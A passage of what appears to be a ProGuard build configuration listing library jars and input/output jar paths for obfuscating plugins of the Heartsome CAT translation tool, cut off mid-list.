"/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.apache.jasper_5.5.17.v201101211617.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.apache.lucene.analysis_2.9.1.v201101211721.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.apache.lucene.core_2.9.1.v201101211721.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.apache.lucene_2.9.1.v201101211721.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.compare.core_3.5.200.I20110208-0800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.commands_3.6.0.I20110111-0800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.contenttype_3.4.100.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.databinding.beans_1.2.100.I20100824-0800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.databinding.observable_1.4.0.I20110222-0800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.databinding.property_1.4.0.I20110222-0800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.databinding_1.4.0.I20110111-0800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.expressions_3.4.300.v20110228.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.filebuffers_3.5.200.v20110928-1504.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.filesystem.linux.x86_1.4.0.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.filesystem.linux.x86_64_1.2.0.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.filesystem.win32.x86_1.1.300.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.filesystem.win32.x86_64_1.1.300.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.filesystem_1.3.100.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.jobs_3.5.101.v20120113-1953.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.net.linux.x86_1.1.200.I20110419-0800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.net.linux.x86_64_1.1.0.I20110331-0827.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.net.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.net.win32.x86_1.0.100.I20110331-0827.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.net.win32.x86_64_1.0.100.I20110331-0827.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.net_1.2.100.I20110511-0800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.resources.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.resources_3.7.101.v20120125-1505.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.runtime.compatibility.auth_3.2.200.v20110110.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.core.runtime_3.7.0.v20110110.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ecf.filetransfer_5.0.0.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ecf.identity_3.1.100.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ecf.provider.filetransfer.httpclient.ssl_1.0.0.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ecf.provider.filetransfer.httpclient_4.0.0.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ecf.provider.filetransfer.ssl_1.0.0.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ecf.provider.filetransfer_3.2.0.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ecf.ssl_1.0.100.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ecf_3.1.300.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.app_1.3.100.v20110321.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.common_3.6.0.v20110523.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.ds_1.3.1.R37x_v20110701.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.frameworkadmin.equinox_1.0.300.v20110815-1438.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.frameworkadmin_2.0.0.v20110815-1438.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.http.jetty_2.0.100.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.http.registry_1.1.100.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.http.servlet_1.1.200.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.jsp.jasper.registry_1.0.200.v20100503.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.jsp.jasper_1.0.300.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.launcher_1.2.0.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.artifact.repository_1.1.101.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.console_1.0.300.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.core_2.1.1.v20120113-1346.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.director_2.1.1.v20111126-0211.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.engine_2.1.1.R37x_v20111003.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.garbagecollector_1.0.200.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.jarprocessor_1.0.200.v20110815-1438.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.metadata.repository_1.2.0.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.metadata_2.1.0.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.operations_2.1.1.R37x_v20111111.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.ql_2.0.100.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.repository_2.1.1.v20120113-1346.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.touchpoint.eclipse_2.1.1.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.touchpoint.natives_1.0.300.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.transport.ecf_1.0.0.v20111128-0624.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.ui.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.p2.ui_2.1.1.v20120113-1346.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.preferences_3.4.2.v20120111-2020.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.registry_3.5.101.R37x_v20110810-1611.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.security.macosx_1.100.100.v20100503.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.security.ui_1.1.0.v20101004.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.security.win32.x86_1.0.200.v20100503.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.security.win32.x86_64_1.0.0.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.security_1.1.1.R37x_v20110822-1018.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.simpleconfigurator.manipulator_2.0.0.v20110815-1438.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.simpleconfigurator_1.0.200.v20110815-1438.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.equinox.util_1.0.300.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.help.base_3.6.2.v201202080800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.help.ui_3.5.101.r37_20110819.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.help.webapp.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.help.webapp_3.6.1.r37_20110929.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.help_3.5.100.v20110426.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.jface.databinding_1.5.0.I20100907-0800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.jface.nl_en_8.0.2.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.jface.nl_zh_8.0.2.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.jface.text_3.7.2.v20111213-1208.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.jface_3.7.0.v20110928-1505.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ltk.core.refactoring.nl_en_8.0.2.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ltk.core.refactoring.nl_zh_8.0.2.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ltk.core.refactoring_3.5.201.r372_v20111101-0700.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.nebula.widgets.grid_8.0.0.R8b_v20121203.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.nebula.widgets.tablecombo_8.0.0.R8b_v20121203.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.osgi.nl_en_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.osgi.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.osgi.services_3.3.0.v20110513.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.osgi_3.7.2.v20120110-1415.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.rcp_3.7.2.v201202080800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.swt.cocoa.macosx.x86_64_3.102.0.v20130605-1544.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.swt.gtk.linux.x86_3.7.2.v3740f.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.swt.gtk.linux.x86_64_3.7.2.v3740f.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.swt.win32.win32.x86_3.7.2.v3740f.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.swt.win32.win32.x86_64_3.7.2.v3740f.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.swt_3.7.2.v3740f.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.text_3.5.101.v20110928-1504.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.cocoa_1.1.0.I20101109-0800.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.editors_3.7.0.v20110928-1504.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.forms_3.5.101.v20111011-1919.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.ide.nl_en_8.0.3.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.ide.nl_zh_8.0.3.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.ide_3.7.0.v20110928-1505.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.navigator_3.5.101.v20120106-1355.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.net.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.net_1.2.100.v20111208-1155.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.views.properties.tabbed_3.5.200.v20110928-1505.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.views_3.6.0.v20110928-1505.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.workbench.nl_zh_8.0.2.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.workbench.texteditor_3.7.0.v20110928-1504.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui.workbench_3.7.1.v20120104-1859.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.ui_3.7.0.v20110928-1505.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.eclipse.update.configurator_3.3.100.v20100512.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.mortbay.jetty.server_6.1.23.v201012071420.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.mortbay.jetty.util_6.1.23.v201012071420.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.sat4j.core_2.3.0.v20110329.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.sat4j.pb_2.3.0.v20110329.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.core_8.1.0.R8b_v20131116/lib/antlr-2.7.4.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.core_8.1.0.R8b_v20131116/lib/chardet-1.0.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.core_8.1.0.R8b_v20131116/lib/cpdetector_1.0.10.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.core_8.1.0.R8b_v20131116/lib/jargs-1.0.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.memoQ6_8.0.4.R8b_v20130731/lib/commons-compress-1.1.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.msoffice2003_8.0.3.R8b_v20130609/lib/commons-io-1.3.1.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.msoffice2003_8.0.3.R8b_v20130609/lib/juh-2.3.1.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.msoffice2003_8.0.3.R8b_v20130609/lib/jurt-2.3.1.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.msoffice2003_8.0.3.R8b_v20130609/lib/ridl-2.3.1.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.msoffice2003_8.0.3.R8b_v20130609/lib/unoil-2.3.1.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.hsql_8.0.1.R8b_v20130625/lib/hsqldb.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.mssql_8.0.2.R8b_v20130722/lib/jtds-1.1.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.mysql_8.0.2.R8b_v20130723/lib/mysql-connector-java-5.1.10-bin.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.oracle_8.1.0.R8b_v20131116/lib/ojdbc14.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.postgreSQL_8.1.0.R8b_v20131116/lib/postgresql-8.4-701.jdbc4.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.sqlite_8.1.0.R8b_v20131116/lib/sqlite-jdbc-3.7.15-SNAPSHOT.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.ui.tm_8.1.0.R8b_v20131119/lib/datechooser-1.01.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.ui.tm_8.1.0.R8b_v20131119/lib/jarettable-0.85.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.ui.tm_8.1.0.R8b_v20131119/lib/jaretutil-0.32.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database_8.1.0.R8b_v20131119/lib/poi-3.9-20121203.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database_8.1.0.R8b_v20131119/lib/poi-excelant-3.9-20121203.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database_8.1.0.R8b_v20131119/lib/poi-ooxml-3.9-20121203.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database_8.1.0.R8b_v20131119/lib/poi-ooxml-schemas-3.9-20121203.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database_8.1.0.R8b_v20131119/lib/poi-scratchpad-3.9-20121203.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database_8.1.0.R8b_v20131119/lib/xmlbeans-2.3.0.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.core_8.1.0.R8b_v20131116/lib/saxon9he.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.exportproject_8.1.0.R8b_v20131119/lib/ant.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.help_8.1.0.R8b_v20131108/lib/bcprov-jdk14-136.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.help_8.1.0.R8b_v20131108/lib/commons-codec-1.3.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.help_8.1.0.R8b_v20131108/lib/commons-httpclient-3.0.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.help_8.1.0.R8b_v20131108/lib/commons-logging-1.0.4.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.help_8.1.0.R8b_v20131108/lib/jdom-1.0.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.help_8.1.0.R8b_v20131108/lib/jug.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.help_8.1.0.R8b_v20131108/lib/log4j-1.2.14.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.help_8.1.0.R8b_v20131108/lib/wsdl4j-1.5.1.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.help_8.1.0.R8b_v20131108/lib/xfire-all-1.2.6.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.machinetranslation_8.1.0.R8b_v20131121/lib/google-api-translate-java-0.97.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.machinetranslation_8.1.0.R8b_v20131121/lib/json-20090211.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.machinetranslation_8.1.0.R8b_v20131121/lib/microsoft-translator-java-api-0.6.1-jar-with-dependencies.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.qa_8.1.0.R8b_v20131121/lib/dom4j-1.6.1.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.qa_8.1.0.R8b_v20131121/lib/jna.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.qa_8.1.0.R8b_v20131121/lib/KTable.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.qa_8.1.0.R8b_v20131121/lib/poi-3.7-20101029.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.qa_8.1.0.R8b_v20131121/lib/poi-ooxml-3.7-20101029.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.qa_8.1.0.R8b_v20131121/lib/poi-ooxml-schemas-3.7-20101029.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.qa_8.1.0.R8b_v20131121/lib/poi-scratchpad-3.7-20101029.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.qa_8.1.0.R8b_v20131121/lib/xmlbeans-2.3.0.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui_8.1.0.R8b_v20131114/lib/jaretutil-0.32.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.xml_8.1.0.R8b_v20131105/lib/dom4j-1.6.1.jar" + + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.ui.advanced_8.0.2.R8b_v20130411"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.ui.advanced_8.0.2.R8b_v20130411" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.rtf_8.0.4.R8b_v20130729"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.rtf_8.0.4.R8b_v20130729" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.ts.lockrepeat_8.0.1.R8b_v20130620"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.ts.lockrepeat_8.0.1.R8b_v20130620" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.xml_8.1.0.R8b_v20131105"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.xml_8.1.0.R8b_v20131105" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.resx_8.0.3.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.resx_8.0.3.R8b_v20130609" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.database.mysql_8.0.2.R8b_v20130723"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.database.mysql_8.0.2.R8b_v20130723" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.memoQ6_8.0.4.R8b_v20130731"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.converter.memoQ6_8.0.4.R8b_v20130731" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.common.ui.shield_8.0.2.R8b_v20130902"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/tmpOb/net.heartsome.cat.common.ui.shield_8.0.2.R8b_v20130902" + -injars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.converter.msoffice2003_8.0.3.R8b_v20130609"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars 